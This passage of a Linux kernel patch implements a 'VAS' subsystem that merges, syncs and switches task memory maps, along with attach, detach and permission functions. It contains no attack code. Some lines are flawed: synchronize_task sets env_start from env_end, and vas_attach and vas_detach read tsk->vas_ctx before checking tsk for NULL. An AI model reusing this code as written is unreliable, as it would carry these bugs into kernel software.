+	} else {
+		/*
+		 * The VMA itself did not change. However, mappings might have
+		 * changed. So at least update the page table entries belonging
+		 * to the VMA in the destination memory region.
+		 */
+		if (unlikely(dup_page_range(dst_mm, dst_vma, src_mm, src_vma)))
+			pr_vas_debug("Cannot update page table entries\n");
+
+		dst_vma->vas_last_update = src_vma->vas_last_update;
+	}
+
+out:
+	return dst_vma;
+}
+
+/**
+ * Merge the VAS' parts of the memory map into the attached-VAS memory map.
+ *
+ * Requires that the VAS is already locked.
+ *
+ * @param[in] avas:	The pointer to the attached-VAS data structure that
+ *			contains all the information for this attachment.
+ * @param[in] vas:	The pointer to the VAS of which the memory map should
+ *			be merged.
+ * @param[in] type:	The type of attaching (see vas_attach for more
+ *			information).
+ *
+ * @returns:		0 on success, -ERRNO otherwise.
+ **/
+static int vas_merge(struct att_vas *avas, struct vas *vas, int type)
+{
+	struct vm_area_struct *vma, *new_vma;
+	struct mm_struct *vas_mm, *avas_mm;
+	int ret;
+
+	vas_mm = vas->mm;
+	avas_mm = avas->mm;
+
+	dump_memory_map("Before VAS MM", vas_mm);
+
+	if (down_write_killable(&avas_mm->mmap_sem))
+		return -EINTR;
+	down_read_nested(&vas_mm->mmap_sem, SINGLE_DEPTH_NESTING);
+
+	/* Try to copy all VMAs of the VAS into the AS of the attached-VAS. */
+	for (vma = vas_mm->mmap; vma; vma = vma->vm_next) {
+		unsigned long merged_vm_flags = vma->vm_flags;
+
+		pr_vas_debug("Merging a VAS memory region (%#lx - %#lx)\n",
+			     vma->vm_start, vma->vm_end);
+
+		/*
+		 * Remove the writable bit from the vm_flags if the VAS is
+		 * attached only readable.
+		 */
+		if (!(type & MAY_WRITE))
+			merged_vm_flags &= ~(VM_WRITE | VM_MAYWRITE);
+
+		new_vma = __copy_vm_area(vas_mm, vma, avas_mm,
+					 merged_vm_flags);
+		if (!new_vma) {
+			pr_vas_debug("Failed to merge a VAS memory region (%#lx - %#lx)\n",
+				     vma->vm_start, vma->vm_end);
+			ret = -EFAULT;
+			goto out_unlock;
+		}
+
+		/*
+		 * Remember for the VMA that we just added it to the
+		 * attached-VAS that it actually belongs to the VAS.
+		 */
+		new_vma->vas_reference = vas_mm;
+	}
+
+	ret = 0;
+
+out_unlock:
+	up_read(&vas_mm->mmap_sem);
+	up_write(&avas_mm->mmap_sem);
+
+	dump_memory_map("After VAS MM", vas_mm);
+	dump_memory_map("After Attached-VAS MM", avas_mm);
+
+	return ret;
+}
+
+/**
+ * Unmerge the VAS-related parts of an attached-VAS memory map back into the
+ * VAS' memory map.
+ *
+ * Requires that the VAS is already locked.
+ *
+ * @param[in] avas:	The pointer to the attached-VAS data structure that
+ *			contains all the information for this attachment.
+ * @param[in] vas:	The pointer to the VAS for which the memory map should
+ *			be updated again.
+ *
+ * @returns:		0 on success, -ERRNO otherwise.
+ **/
+static int vas_unmerge(struct att_vas *avas, struct vas *vas)
+{
+	struct vm_area_struct *vma, *next;
+	struct mm_struct *vas_mm, *avas_mm;
+	int ret;
+
+	vas_mm = vas->mm;
+	avas_mm = avas->mm;
+
+	dump_memory_map("Before Attached-VAS MM", avas_mm);
+	dump_memory_map("Before VAS MM", vas_mm);
+
+	if (down_write_killable(&avas_mm->mmap_sem))
+		return -EINTR;
+	down_write_nested(&vas_mm->mmap_sem, SINGLE_DEPTH_NESTING);
+
+	/* Update all VMAs of the VAS if they changed in the attached-VAS. */
+	for (vma = avas_mm->mmap, next = next_vma_safe(vma); vma;
+	     vma = next, next = next_vma_safe(next)) {
+		struct mm_struct *ref_mm = vma->vas_reference;
+
+		if (!ref_mm) {
+			struct vm_area_struct *new_vma;
+
+			/*
+			 * This is a VMA which was created while the VAS was
+			 * attached to the process and which is not yet existent
+			 * in the VAS. Copy it into the VAS' mm_struct.
+			 */
+			pr_vas_debug("Unmerging a new VAS memory region (%#lx - %#lx)\n",
+				     vma->vm_start, vma->vm_end);
+
+			new_vma = __copy_vm_area(avas_mm, vma, vas_mm,
+						 vma->vm_flags);
+			if (!new_vma) {
+				pr_vas_debug("Failed to unmerge a new VAS memory region (%#lx - %#lx)\n",
+					     vma->vm_start, vma->vm_end);
+				ret = -EFAULT;
+				goto out_unlock;
+			}
+
+			new_vma->vas_reference = NULL;
+		} else {
+			struct vm_area_struct *upd_vma;
+
+			/*
+			 * This VMA was previously copied into the memory map
+			 * when the VAS was attached to the process. So check if
+			 * we need to update the corresponding VMA in the VAS'
+			 * memory map.
+			 */
+			pr_vas_debug("Unmerging an existing VAS memory region (%#lx - %#lx)\n",
+				     vma->vm_start, vma->vm_end);
+
+			upd_vma = __update_vm_area(avas_mm, vma, vas_mm, NULL);
+			if (!upd_vma) {
+				pr_vas_debug("Failed to unmerge a VAS memory region (%#lx - %#lx)\n",
+					     vma->vm_start, vma->vm_end);
+				ret = -EFAULT;
+				goto out_unlock;
+			}
+		}
+
+		/* Remove the current VMA from the attached-VAS memory map. */
+		__remove_vm_area(avas_mm, vma);
+	}
+
+	ret = 0;
+
+out_unlock:
+	up_write(&vas_mm->mmap_sem);
+	up_write(&avas_mm->mmap_sem);
+
+	dump_memory_map("After VAS MM", vas_mm);
+
+	return ret;
+}
+
+/**
+ * Merge the task's parts of the memory map into the attached-VAS memory map.
+ *
+ * @param[in] avas:	The pointer to the attached-VAS data structure that
+ *			contains all the information for this attachment.
+ * @param[in] tsk:	The pointer to the task of which the memory map
+ *			should be merged.
+ *
+ * @returns:		0 on success, -ERRNO otherwise.
+ **/
+static int task_merge(struct att_vas *avas, struct task_struct *tsk)
+{
+	struct vm_area_struct *vma, *new_vma;
+	struct mm_struct *avas_mm, *tsk_mm;
+	int ret;
+
+	tsk_mm = tsk->original_mm;
+	avas_mm = avas->mm;
+
+	dump_memory_map("Before Task MM", tsk_mm);
+	dump_memory_map("Before Attached-VAS MM", avas_mm);
+
+	if (down_write_killable(&avas_mm->mmap_sem))
+		return -EINTR;
+	down_read_nested(&tsk_mm->mmap_sem, SINGLE_DEPTH_NESTING);
+
+	/*
+	 * Try to copy all necessary memory regions from the task's memory
+	 * map to the attached-VAS memory map.
+	 */
+	for (vma = tsk_mm->mmap; vma; vma = vma->vm_next) {
+		pr_vas_debug("Merging a task memory region (%#lx - %#lx)\n",
+			     vma->vm_start, vma->vm_end);
+
+		new_vma = __copy_vm_area(tsk_mm, vma, avas_mm, vma->vm_flags);
+		if (!new_vma) {
+			pr_vas_debug("Failed to merge a task memory region (%#lx - %#lx)\n",
+				     vma->vm_start, vma->vm_end);
+			ret = -EFAULT;
+			goto out_unlock;
+		}
+
+		/*
+		 * Remember for the VMA that we just added it to the
+		 * attached-VAS that it actually belongs to the task.
+		 */
+		new_vma->vas_reference = tsk_mm;
+	}
+
+	ret = 0;
+
+out_unlock:
+	up_read(&tsk_mm->mmap_sem);
+	up_write(&avas_mm->mmap_sem);
+
+	dump_memory_map("After Task MM", tsk_mm);
+	dump_memory_map("After Attached-VAS MM", avas_mm);
+
+	return ret;
+}
+
+/**
+ * Unmerge task-related parts of an attached-VAS memory map back into the
+ * task's memory map.
+ *
+ * @param[in] avas:	The pointer to the attached-VAS data structure that
+ *			contains all the information for this attachment.
+ * @param[in] tsk:	The pointer to the task for which the memory map
+ *			should be updated again.
+ *
+ * @returns:		0 on success, -ERRNO otherwise.
+ **/
+static int task_unmerge(struct att_vas *avas, struct task_struct *tsk)
+{
+	struct vm_area_struct *vma, *next;
+	struct mm_struct *avas_mm, *tsk_mm;
+
+	tsk_mm = tsk->original_mm;
+	avas_mm = avas->mm;
+
+	dump_memory_map("Before Task MM", tsk_mm);
+	dump_memory_map("Before Attached-VAS MM", avas_mm);
+
+	if (down_write_killable(&avas_mm->mmap_sem))
+		return -EINTR;
+
+	/*
+	 * Since we are always syncing with the task's memory map at every
+	 * switch, unmerging the task's memory regions basically just means
+	 * removing them.
+	 */
+	for (vma = avas_mm->mmap, next = next_vma_safe(vma); vma;
+	     vma = next, next = next_vma_safe(next)) {
+		struct mm_struct *ref_mm = vma->vas_reference;
+
+		if (ref_mm != tsk_mm) {
+			pr_vas_debug("Skipping memory region (%#lx - %#lx) during task unmerging\n",
+				     vma->vm_start, vma->vm_end);
+			continue;
+		}
+
+		pr_vas_debug("Unmerging a task memory region (%#lx - %#lx)\n",
+			     vma->vm_start, vma->vm_end);
+
+		/* Remove the current VMA from the attached-VAS memory map. */
+		__remove_vm_area(avas_mm, vma);
+	}
+
+	up_write(&avas_mm->mmap_sem);
+
+	dump_memory_map("After Task MM", tsk_mm);
+	dump_memory_map("After Attached-VAS MM", avas_mm);
+
+	return 0;
+}
+
+/**
+ * Attach a VAS to a task -- update internal information ONLY
+ *
+ * Requires that the VAS is already locked.
+ *
+ * @param[in] avas:	The pointer to the attached-VAS data structure
+ *			containing all the information of this attaching.
+ * @param[in] tsk:	The pointer to the task to which the VAS should be
+ *			attached.
+ * @param[in] vas:	The pointer to the VAS which should be attached.
+ *
+ * @returns:		0 on succes, -ERRNO otherwise.
+ **/
+static int __vas_attach(struct att_vas *avas, struct task_struct *tsk,
+			struct vas *vas)
+{
+	int ret;
+
+	/* Before doing anything, synchronize the RSS-stat of the task. */
+	sync_mm_rss(tsk->mm);
+
+	/*
+	 * Try to acquire the VAS share with the proper type. This will ensure
+	 * that the different sharing possibilities of VAS are respected.
+	 */
+	if (!vas_take_share(avas->type, vas)) {
+		pr_vas_debug("VAS is already attached exclusively\n");
+		return -EBUSY;
+	}
+
+	ret = vas_merge(avas, vas, avas->type);
+	if (ret != 0)
+		goto out_put_share;
+
+	ret = task_merge(avas, tsk);
+	if (ret != 0)
+		goto out_put_share;
+
+	vas->refcount++;
+
+	return 0;
+
+out_put_share:
+	vas_put_share(avas->type, vas);
+	return ret;
+}
+
+/**
+ * Detach a VAS from a task -- update internal information ONLY
+ *
+ * Requires that the VAS is already locked.
+ *
+ * @param[in] avas:	The pointer to the attached-VAS data structure
+ *			containing all the information of this attaching.
+ * @param[in] tsk:	The pointer to the task from which the VAS should be
+ *			detached.
+ * @param[in] vas:	The pointer to the VAS which should be detached.
+ *
+ * @returns:		0 on success, -ERRNO otherwise.
+ **/
+static int __vas_detach(struct att_vas *avas, struct task_struct *tsk,
+			struct vas *vas)
+{
+	int ret;
+
+	/* Before detaching the VAS, synchronize the RSS-stat of the task. */
+	sync_mm_rss(tsk->mm);
+
+	ret = task_unmerge(avas, tsk);
+	if (ret != 0)
+		return ret;
+
+	ret = vas_unmerge(avas, vas);
+	if (ret != 0)
+		return ret;
+
+	vas->refcount--;
+
+	/* We unlock the VAS here to ensure our sharing properties. */
+	vas_put_share(avas->type, vas);
+
+	return 0;
+}
+
+static int __sync_from_task(struct mm_struct *avas_mm, struct mm_struct *tsk_mm)
+{
+	struct vm_area_struct *vma;
+	int ret;
+
+	ret = 0;
+	for (vma = tsk_mm->mmap; vma; vma = vma->vm_next) {
+		struct vm_area_struct *ref;
+
+		ref = vas_find_reference(avas_mm, vma);
+		if (!ref) {
+			ref = __copy_vm_area(tsk_mm, vma, avas_mm,
+					     vma->vm_flags);
+
+			if (!ref) {
+				pr_vas_debug("Failed to copy memory region (%#lx - %#lx) during task sync\n",
+					     vma->vm_start, vma->vm_end);
+				ret = -EFAULT;
+				break;
+			}
+
+			/*
+			 * Remember for the newly added memory region where we
+			 * copied it from.
+			 */
+			ref->vas_reference = tsk_mm;
+		} else {
+			ref = __update_vm_area(tsk_mm, vma, avas_mm, ref);
+			if (!ref) {
+				pr_vas_debug("Failed to update memory region (%#lx - %#lx) during task sync\n",
+					     vma->vm_start, vma->vm_end);
+				ret = -EFAULT;
+				break;
+			}
+		}
+	}
+
+	return ret;
+}
+
+static int __sync_to_task(struct mm_struct *avas_mm, struct mm_struct *tsk_mm)
+{
+	struct vm_area_struct *vma;
+	int ret;
+
+	ret = 0;
+	for (vma = avas_mm->mmap; vma; vma = vma->vm_next) {
+		if (vma->vas_reference != tsk_mm) {
+			pr_vas_debug("Skip unrelated memory region (%#lx - %#lx) during task resync\n",
+				     vma->vm_start, vma->vm_end);
+		} else {
+			struct vm_area_struct *ref;
+
+			ref = __update_vm_area(avas_mm, vma, tsk_mm, NULL);
+			if (!ref) {
+				pr_vas_debug("Failed to update memory region (%#lx - %#lx) during task resync\n",
+					     vma->vm_start, vma->vm_end);
+				ret = -EFAULT;
+				break;
+			}
+		}
+	}
+
+	return ret;
+}
+
+/**
+ * Synchronize all task related parts of the memory maps to reflect the latest
+ * state.
+ *
+ * @param[in] avas_mm:	The memory map of the attached-VAS.
+ * @param[in] tsk_mm:	The memory map of the task.
+ * @param[in] dir:	The direction in which the sync should happen:
+ *				1 => tsk -> avas
+ *			       -1 => avas -> tsk
+ *
+ * @returns:		0 on success, -ERRNO otherwise.
+ **/
+static int synchronize_task(struct mm_struct *avas_mm, struct mm_struct *tsk_mm,
+			    int dir)
+{
+	struct mm_struct *src_mm, *dst_mm;
+	int ret;
+
+	src_mm = dir == 1 ? tsk_mm : avas_mm;
+	dst_mm = dir == 1 ? avas_mm : tsk_mm;
+
+	/*
+	 * We have nothing to do if nothing has changed the memory maps since
+	 * the last sync.
+	 */
+	if (ktime_compare(src_mm->vas_last_update,
+			  dst_mm->vas_last_update) == 0) {
+		pr_vas_debug("Nothing to do during switch, memory map is up-to-date\n");
+		return 0;
+	}
+
+	pr_vas_debug("Synchronize memory map from %s to %s\n",
+		     dir == 1 ? "Task" : "Attached-VAS",
+		     dir == 1 ? "Attached-VAS" : "Task");
+
+	dump_memory_map("Before Task MM", tsk_mm);
+	dump_memory_map("Before Attached-VAS MM", avas_mm);
+
+	if (down_write_killable(&dst_mm->mmap_sem))
+		return -EINTR;
+	down_read_nested(&src_mm->mmap_sem, SINGLE_DEPTH_NESTING);
+
+	if (dir == 1)
+		ret = __sync_from_task(avas_mm, tsk_mm);
+	else
+		ret = __sync_to_task(avas_mm, tsk_mm);
+
+	if (ret != 0)
+		goto out_unlock;
+
+	/*
+	 * Also update all the information where the different memory regions
+	 * such as code, data and stack start and end.
+	 */
+	dst_mm->start_code = src_mm->start_code;
+	dst_mm->end_code = src_mm->end_code;
+	dst_mm->start_data = src_mm->start_data;
+	dst_mm->end_data = src_mm->end_data;
+	dst_mm->start_brk = src_mm->start_brk;
+	dst_mm->brk = src_mm->brk;
+	dst_mm->start_stack = src_mm->start_stack;
+	dst_mm->arg_start = src_mm->arg_start;
+	dst_mm->arg_end = src_mm->arg_end;
+	dst_mm->env_start = src_mm->env_end;
+	dst_mm->env_end = src_mm->env_end;
+	dst_mm->task_size = src_mm->task_size;
+
+	dst_mm->vas_last_update = src_mm->vas_last_update;
+
+	ret = 0;
+
+out_unlock:
+	up_read(&src_mm->mmap_sem);
+	up_write(&dst_mm->mmap_sem);
+
+	dump_memory_map("After Task MM", tsk_mm);
+	dump_memory_map("After Attached-VAS MM", avas_mm);
+
+	return ret;
+}
+
+/**
+ * Properly update and setup the memory maps before performing the actual
+ * switch to a different address space.
+ *
+ * @param[in] from:	The attached-VAS that we are switching away from, or
+ *			NULL if we are switching away from the task's original
+ *			AS.
+ * @param[in] to:	The attached-VAS that we are switching to, or NULL if
+ *			we are switching to the task's original AS.
+ * @param[in] tsk:	The pointer to the task for which the switch should
+ *			happen.
+ *
+ * @returns:		0 on success, -ERRNO otherwise.
+ **/
+static int vas_prepare_switch(struct att_vas *from, struct att_vas *to,
+			      struct task_struct *tsk)
+{
+	int ret;
+
+	/* Before doing anything, synchronize the RSS-stat of the task. */
+	sync_mm_rss(tsk->mm);
+
+	/*
+	 * When switching away from a VAS we have to first update the task's
+	 * memory map so that it is always up-to-date
+	 */
+	if (from) {
+		ret = synchronize_task(from->mm, tsk->original_mm, -1);
+		if (ret != 0)
+			return ret;
+	}
+
+	/*
+	 * When switching to a VAS we have to update the VAS' memory map so that
+	 * it contains all the up to date information of the task.
+	 */
+	if (to) {
+		ret = synchronize_task(to->mm, tsk->original_mm, 1);
+		if (ret != 0)
+			return ret;
+	}
+
+	return 0;
+}
+
+/**
+ * Switch a task's address space to the given one.
+ *
+ * @param[in] tsk:	The pointer to the task for which the AS should be
+ *			switched.
+ * @param[in] vid:	The ID of the VAS to which the task should switch, or
+ *			0 if the task should switch to its original AS.
+ *
+ * @returns:		0 on success, -ERRNO otherwise.
+ **/
+static int __vas_switch(struct task_struct *tsk, int vid)
+{
+	struct vas_context *ctx = tsk->vas_ctx;
+	struct att_vas *next_avas, *old_avas;
+	struct mm_struct *nextmm, *oldmm;
+	bool is_attached;
+	int ret;
+
+	vas_context_lock(ctx);
+
+	if (vid == 0) {
+		pr_vas_debug("Switching to original mm\n");
+		next_avas = NULL;
+		nextmm = tsk->original_mm;
+	} else {
+		is_attached = false;
+		list_for_each_entry(next_avas, &ctx->vases, tsk_link) {
+			if (next_avas->vas->id == vid) {
+				is_attached = true;
+				break;
+			}
+		}
+		if (!is_attached) {
+			ret = -EINVAL;
+			goto out_unlock;
+		}
+
+		pr_vas_debug("Switching to VAS - name: %s\n",
+			     next_avas->vas->name);
+		nextmm = next_avas->mm;
+	}
+
+	if (tsk->active_vas == 0) {
+		pr_vas_debug("Switching from original mm\n");
+		old_avas = NULL;
+		oldmm = tsk->active_mm;
+	} else {
+		is_attached = false;
+		list_for_each_entry(old_avas, &ctx->vases, tsk_link) {
+			if (old_avas->vas->id == tsk->active_vas) {
+				is_attached = true;
+				break;
+			}
+		}
+		if (!is_attached) {
+			WARN(!is_attached, "Could not find the task's active VAS.\n");
+			old_avas = NULL;
+			oldmm = tsk->mm;
+		} else {
+			pr_vas_debug("Switching from VAS - name: %s\n",
+				     old_avas->vas->name);
+			oldmm = old_avas->mm;
+		}
+	}
+
+	vas_context_unlock(ctx);
+
+	/* Check if we are already running on the specified mm. */
+	if (oldmm == nextmm)
+		return 0;
+
+	/*
+	 * Prepare the mm_struct data structure we are switching to. Update the
+	 * mappings for stack, code, data and other recent changes.
+	 */
+	ret = vas_prepare_switch(old_avas, next_avas, tsk);
+	if (ret != 0) {
+		pr_vas_debug("Failed to prepare memory maps for switch\n");
+		return ret;
+	}
+
+	task_lock(tsk);
+
+	/* Perform the actual switch in the new address space. */
+	vmacache_flush(tsk);
+	switch_mm(oldmm, nextmm, tsk);
+
+	tsk->mm = nextmm;
+	tsk->active_mm = nextmm;
+	tsk->active_vas = vid;
+
+	task_unlock(tsk);
+
+	return 0;
+
+out_unlock:
+	vas_context_unlock(ctx);
+
+	return ret;
+}
+
+
+/***
+ * Externally visible functions
+ ***/
+
+int vas_create(const char *name, umode_t mode)
+{
+	struct vas *vas;
+	int ret;
+
+	if (!name)
+		return -EINVAL;
+
+	if (vas_find(name) > 0)
+		return -EEXIST;
+
+	pr_vas_debug("Creating a new VAS - name: %s\n", name);
+
+	/* Allocate and initialize the VAS. */
+	vas = __new_vas();
+	if (!vas)
+		return -ENOMEM;
+
+	if (strscpy(vas->name, name, VAS_MAX_NAME_LENGTH) < 0) {
+		ret = -EINVAL;
+		goto out_free;
+	}
+
+	mutex_init(&vas->mtx);
+
+	ret = init_vas_mm(vas);
+	if (ret != 0)
+		goto out_free;
+
+	vas->refcount = 0;
+
+	INIT_LIST_HEAD(&vas->attaches);
+	spin_lock_init(&vas->share_lock);
+	vas->sharing = 0;
+
+	vas->mode = mode & 0666;
+	vas->uid = current_uid();
+	vas->gid = current_gid();
+
+	ret = vas_insert(vas);
+	if (ret != 0)
+		/*
+		 * We don't need to do anything here. @vas_insert will care
+		 * for the deletion of the VAS before returning with an error.
+		 */
+		return ret;
+
+	return vas->id;
+
+out_free:
+	__delete_vas(vas);
+	return ret;
+}
+EXPORT_SYMBOL(vas_create);
+
+struct vas *vas_get(int vid)
+{
+	return vas_lookup(vid);
+}
+EXPORT_SYMBOL(vas_get);
+
+void vas_put(struct vas *vas)
+{
+	if (!vas)
+		return;
+
+	__vas_put(vas);
+}
+EXPORT_SYMBOL(vas_put);
+
+int vas_find(const char *name)
+{
+	struct vas *vas;
+
+	vas = vas_lookup_by_name(name);
+	if (vas) {
+		int vid = vas->id;
+
+		vas_put(vas);
+		return vid;
+	}
+
+	return -ESRCH;
+}
+EXPORT_SYMBOL(vas_find);
+
+int vas_delete(int vid)
+{
+	struct vas *vas;
+	int ret;
+
+	vas = vas_get(vid);
+	if (!vas)
+		return -EINVAL;
+
+	pr_vas_debug("Deleting VAS - name: %s\n", vas->name);
+
+	vas_lock(vas);
+
+	if (vas->refcount != 0) {
+		ret = -EBUSY;
+		goto out_unlock;
+	}
+
+	/* The user needs write permission to the VAS to delete it. */
+	ret = __check_permission(vas->uid, vas->gid, vas->mode, MAY_WRITE);
+	if (ret != 0) {
+		pr_vas_debug("User doesn't have the appropriate permissions to delete the VAS\n");
+		goto out_unlock;
+	}
+
+	vas_unlock(vas);
+
+	vas_remove(vas);
+	vas_put(vas);
+
+	return 0;
+
+out_unlock:
+	vas_unlock(vas);
+	vas_put(vas);
+
+	return ret;
+}
+EXPORT_SYMBOL(vas_delete);
+
+int vas_attach(struct task_struct *tsk, int vid, int type)
+{
+	struct vas_context *ctx = tsk->vas_ctx;
+	struct vas *vas;
+	struct att_vas *avas;
+	int ret;
+
+	type &= (MAY_READ | MAY_WRITE);
+
+	if (!tsk)
+		return -EINVAL;
+
+	vas = vas_get(vid);
+	if (!vas)
+		return -EINVAL;
+
+	pr_vas_debug("Attaching VAS - name: %s - to task - pid: %d - %s\n",
+		     vas->name, tsk->pid, access_type_str(type));
+
+	vas_lock(vas);
+
+	/*
+	 * Before we can attach the VAS to the task we first have to make some
+	 * sanity checks.
+	 */
+
+	/*
+	 * 1: Check that the user has adequate permissions to attach the VAS in
+	 * the given way.
+	 */
+	ret = __check_permission(vas->uid, vas->gid, vas->mode, type);
+	if (ret != 0) {
+		pr_vas_debug("User doesn't have the appropriate permissions to attach the VAS\n");
+		goto out_unlock;
+	}
+
+	/*
+	 * 2: Check if this VAS is already attached to a task. If yes check if
+	 * it is a different task or the one we want to attach currently.
+	 */
+	list_for_each_entry(avas, &vas->attaches, vas_link) {
+		if (avas->tsk == tsk) {
+			pr_vas_debug("VAS is already attached to the task\n");
+			ret = 0;
+			goto out_unlock;
+		}
+	}
+
+	/* 3: Check if we reached the maximum number of shares for this VAS. */
+	if (vas->refcount == VAS_MAX_SHARES) {
+		ret = -EBUSY;
+		goto out_unlock;
+	}
+
+	/*
+	 * All sanity checks are done. We can now safely attach the VAS to the
+	 * given task.
+	 */
+
+	/* Allocate and initialize the attached-VAS data structure. */
+	avas = __new_att_vas();
+	if (!avas) {
+		ret = -ENOMEM;
+		goto out_unlock;
+	}
+
+	ret = init_att_vas_mm(avas, tsk);
+	if (ret != 0)
+		goto out_free_avas;
+
+	avas->vas = vas;
+	avas->tsk = tsk;
+	avas->type = type;
+
+	ret = __vas_attach(avas, tsk, vas);
+	if (ret != 0)
+		goto out_free_avas;
+
+	vas_context_lock(ctx);
+
+	list_add(&avas->tsk_link, &ctx->vases);
+	list_add(&avas->vas_link, &vas->attaches);
+
+	vas_context_unlock(ctx);
+
+	ret = 0;
+
+out_unlock:
+	vas_unlock(vas);
+	vas_put(vas);
+
+	return ret;
+
+out_free_avas:
+	__delete_att_vas(avas);
+	goto out_unlock;
+}
+EXPORT_SYMBOL(vas_attach);
+
+int vas_detach(struct task_struct *tsk, int vid)
+{
+	struct vas_context *ctx = tsk->vas_ctx;
+	struct vas *vas;
+	struct att_vas *avas;
+	bool is_attached;
+	int ret;
+
+	if (!tsk)
+		return -EINVAL;
+
+	task_lock(tsk);
+	vas_context_lock(ctx);
+
+	is_attached = false;
+	list_for_each_entry(avas, &ctx->vases, tsk_link) {
+		if (avas->vas->id == vid) {
+			is_attached = true;
+			break;
+		}
+	}
+	if (!is_attached) {
+		pr_vas_debug("VAS is not attached to the given task\n");
+		ret = -EINVAL;
+		goto out_unlock_tsk;
+	}
+
+	vas = avas->vas;
+
+	/*
+	 * Make sure that our reference to the VAS can not be removed while we
+	 * are currently working with it.
+	 */
+	__vas_get(vas);
+
+	pr_vas_debug("Detaching VAS - name: %s - from task - pid: %d\n",
+		     vas->name, tsk->pid);
+
+	/*
+	 * Before we can detach the VAS from the task we have to perform some
+	 * sanity checks.
+	 */
+
+	/*
+	 * 1: Check if the VAS we want to detach is currently the active VAS
+	 * because we must not detach this VAS. The user first has to switch
+	 * away.
+	 */
+	if (tsk->active_vas == vid) {
+		pr_vas_debug("VAS is currently in use by the task\n");
+		ret = -EBUSY;
+		goto out_put_vas;
+	}
+
+	/*
+	 * We are done with the sanity checks. It is now safe to detach the VAS
+	 * from the given task.
+	 */
+	list_del(&avas->tsk_link);
+
+	vas_context_unlock(ctx);
+	task_unlock(tsk);
+
+	vas_lock(vas);
+
+	list_del(&avas->vas_link);
+
+	ret = __vas_detach(avas, tsk, vas);
+	if (ret != 0)
+		goto out_reinsert;
+
+	__delete_att_vas(avas);
+
+	vas_unlock(vas);
+	__vas_put(vas);
+
+	return 0;
+
+out_reinsert:
+	vas_context_lock(ctx);
+
+	list_add(&avas->tsk_link, &ctx->vases);
+	list_add(&avas->vas_link, &vas->attaches);
+
+	vas_context_unlock(ctx);
+	vas_unlock(vas);
+	__vas_put(vas);
+
+	return ret;
+
+out_put_vas:
+	__vas_put(vas);
+
+out_unlock_tsk:
+	vas_context_unlock(ctx);
+	task_unlock(tsk);
+
+	return ret;
+}
+EXPORT_SYMBOL(vas_detach);
+
+int vas_switch(struct task_struct *tsk, int vid)
+{
+	if (!tsk)
+		return -EINVAL;
+
+	return __vas_switch(tsk, vid);
+}
+EXPORT_SYMBOL(vas_switch);
+
+int vas_getattr(int vid, struct vas_attr *attr)
+{
+	struct vas *vas;
+	struct user_namespace *ns = current_user_ns();
+
+	if (!attr)
+		return -EINVAL;
+
+	vas = vas_get(vid);
+	if (!vas)
+		return -EINVAL;
+
+	pr_vas_debug("Getting attributes for VAS - name: %s\n", vas->name);
+
+	vas_lock(vas);
+
+	memset(attr, 0, sizeof(struct vas_attr));
+	attr->mode = vas->mode;
+	attr->user = from_kuid(ns, vas->uid);
+	attr->group = from_kgid(ns, vas->gid);
+
+	vas_unlock(vas);
+	vas_put(vas);
+
+	return 0;
+}
+EXPORT_SYMBOL(vas_getattr);
+
+int vas_setattr(int vid, struct vas_attr *attr)
+{
+	struct vas *vas;
+	struct user_namespace *ns = current_user_ns();
+	int ret;
+
+	if (!attr)
+		return -EINVAL;
+
+	vas = vas_get(vid);
+	if (!vas)
+		return -EINVAL;
+
+	pr_vas_debug("Setting attributes for VAS - name: %s\n", vas->name);
+
+	vas_lock(vas);
+
+	/* The user needs write permission to change attributes for the VAS. */
+	ret = __check_permission(vas->uid, vas->gid, vas->mode, MAY_WRITE);
+	if (ret != 0) {
+		pr_vas_debug("User doesn't have the appropriate permissions to set attributes for the VAS\n");
+		goto out_unlock;
+	}
+
+	vas->mode = attr->mode & 0666;
+	vas->uid = make_kuid(ns, attr->user);
+	vas->gid = make_kgid(ns, attr->group);
+
+	ret = 0;
+
+out_unlock:
+	vas_unlock(vas);
+	vas_put(vas);
+
+	return ret;
+}
+EXPORT_SYMBOL(vas_setattr);
+
+void __init vas_init(void)
+{
+	/* Create the SLAB caches for our data structures. */
+	vas_cachep = KMEM_CACHE(vas, SLAB_PANIC|SLAB_NOTRACK);
+	att_vas_cachep = KMEM_CACHE(att_vas, SLAB_PANIC|SLAB_NOTRACK);
+	vas_context_cachep = KMEM_CACHE(vas_context, SLAB_PANIC|SLAB_NOTRACK);
+
+	/* Initialize the internal management data structures. */
+	idr_init(&vases);
+	spin_lock_init(&vases_lock);
+
+	/* Initialize the place holder variables. */
+	INVALID_VAS = __new_vas();
+
+	/* Initialize the VAS context of the init task. */
+	vas_clone(0, &init_task);
+}
+
+/*
+ * We need to use a postcore_initcall to initialize the sysfs directories,
+ * because the 'sys/kernel' directory will be initialized in a core_initcall.
+ * Hence, we have to queue the initialization of the VAS sysfs directories after
+ * this.
+ */
+static int __init vas_sysfs_init(void)
+{
+	/* Setup the sysfs base directories. */
+	vases_kset = kset_create_and_add("vas", NULL, kernel_kobj);
+	if (!vases_kset) {
+		pr_err("Failed to initialize the VAS sysfs directory\n");
+		return -ENOMEM;
+	}
+
+	return 0;
+}
+postcore_initcall(vas_sysfs_init);
+
+int vas_clone(int clone_flags, struct task_struct *tsk)
+{
+	int ret = 0;
+
+	struct vas_context *ctx;
+
+	if (clone_flags & CLONE_VM) {
+		ctx = current->vas_ctx;
+
+		pr_vas_debug("Copy VAS context (%p -- %d) for task - %p - from task - %p\n",
+			     ctx, ctx->refcount, tsk, current);
+
+		vas_context_lock(ctx);
+		ctx->refcount++;
+		vas_context_unlock(ctx);
+	} else {
+		pr_vas_debug("Create a new VAS context for task - %p\n",
+			     tsk);
+
+		ctx = __new_vas_context();
+		if (!ctx) {
+			ret = -ENOMEM;
+			goto out;
+		}
+
+		spin_lock_init(&ctx->lock);
+		ctx->refcount = 1;
+		INIT_LIST_HEAD(&ctx->vases);
+	}
+
+	tsk->vas_ctx = ctx;
+
+out:
+	return ret;
+}
+
+void vas_exit(struct task_struct *tsk)
+{
+	struct vas_context *ctx = tsk->vas_ctx;
+
+	if (tsk->active_vas != 0) {
+		int error;
+
+		pr_vas_debug("Switch to original MM before exit for task - %p\n",
+			     tsk);
+
+		error = __vas_switch(tsk, 0);
+		if (error != 0)
+			pr_alert("Switching back to original MM failed with %d\n",
+				 error);
+	}
+
+	pr_vas_debug("Exiting VAS context (%p -- %d) for task - %p\n", ctx,
+		     ctx->refcount, tsk);
+
+	vas_context_lock(ctx);
+
+	ctx->refcount--;
+	tsk->vas_ctx = NULL;
+
+	vas_context_unlock(ctx);
+
+	if (ctx->refcount == 0) {
+		/*
+		 * We have to clear this VAS context from all the VAS it has
+		 * attached before it is save to delete it. There is no need to
